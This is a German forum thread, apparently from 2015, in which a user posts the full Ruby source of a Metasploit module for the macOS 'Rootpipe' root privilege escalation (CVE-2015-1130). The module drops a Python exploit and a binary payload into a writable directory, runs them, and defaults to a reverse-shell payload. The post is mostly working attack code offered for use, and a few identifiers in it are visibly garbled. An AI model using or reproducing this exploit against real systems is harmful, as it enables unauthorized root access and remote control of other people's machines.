Eine Antwort in diesem Thema

[smc2014]

Siehe Thementitel

 

Versteckter Inhalt
Klicke auf den Danke-Button um den versteckten Inhalt sehen zu können. Nur registrierte Mitglieder haben Zugriff hierauf.

[most_uniQue]

Den Exploit, auch bekannt als RootPipe-Exploit, als MSF-Payload.

This module exploits a hidden backdoor API in Apple's Admin framework on

Mac OS X to escalate privileges to root. Dubbed "Rootpipe."

Tested on Yosemite 10.10.2 and should work on previous versions.

The patch for this issue was not backported to older releases.

Note: you must run this exploit as an admin user to escalate to root.

Writeup & CREDITS: Natürlich zu @osxreverser.

Please Login HERE or Register HERE to see this link!

 

##

# This module requires Metasploit:

Please Login HERE or Register HERE to see this link!

# Current source:

Please Login HERE or Register HERE to see this link!

##

 

require 'msf/core'

 

class Metasploit4 < Msf::Exploit::Local

 

  Rank = GreatRanking

 

  include Msf::Post::OSX::System

  include Msf::Exploit::EXE

  include Msf::Exploit::FileDropper

 

  def initialize(info = {})

    super(update_info(info,

      'Name'           => 'Mac OS X "Rootpipe" Privilege Escalation',

      'Description'    => %q{

        This module exploits a hidden backdoor API in Apple's Admin framework on

        Mac OS X to escalate privileges to root. Dubbed "Rootpipe."

 

        Tested on Yosemite 10.10.2 and should work on previous versions.

 

        The patch for this issue was not backported to older releases.

 

        Note: you must run this exploit as an admin user to escalate to root.

      },

      'Author'         => [

        'Emil Kvarnhammar', # Vulnerability discovery and PoC

        'joev',             # Copy/paste monkey

        'wvu'               # Meta copy/paste monkey

      ],

      'References'     => [

        ['CVE',   '2015-1130'],

        ['OSVDB', '114114'],

        ['EDB',   '36692'],

        ['URL',   '

Please Login HERE or Register HERE to see this link!

]

      ],

      'DisclosureDate' => 'Apr 9 2015',

      'License'        => MSF_LICENSE,

      'Platform'       => 'osx',

      'Arch'           => ARCH_X86_64,

      'SessionTypes'   => ['shell'],

      'Targets'        => [

        ['Mac OS X 10.9-10.10.2', {}]

      ],

      'DefaultTarget'  => 0,

      'DefaultOptions' => {

        'PAYLOAD' => 'osx/x64/shell_reverse_tcp',

        'CMD'     => '/bin/zsh'

      }

    ))

 

    register_options([

      OptString.new('PYTHON',      [true, 'Python executable', '/usr/bin/python']),

      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])

    ])

  end

 

  def check

    (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe

  end

 

  def exploit

    print_status("Writing exploit to `#{exploit_file}'")

    write_file(exploit_file, python_exploit)

    register_file_for_cleanup(exploit_file)

 

    print_status("Writing payload to `#{payload_file}'")

    write_file(payload_file, binary_payload)

    register_file_for_cleanup(payload_file)

 

    print_status('Executing exploit...')

    cmd_exec(sploit)

    print_status('Executing payload...')

    cmd_exec(payload_file)

  end

 

  def ver?

    Gem::Version.new(get_sysinfo['ProductVersion']).between?(

      Gem::Version.new('10.9'), Gem::Version.new('10.10.2')

    )

  end

 

  def admin?

    cmd_exec('groups | grep -wq admin && echo true') == 'true'

  end

 

  def sploit

    "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"

  end

 

  def python_exploit

    File.read(File.join(

      Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'

    ))

  end

 

  def binary_payload

    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)

  end

 

  def exploit_file

    @exPloit_file ||=

      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"

  end

 

  def payload_file

    @ Payload _file ||=

      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"

  end

 

end

 

Greetz.

Bearbeitet von most_uniQue, 29 April 2015 - 09:08 Uhr.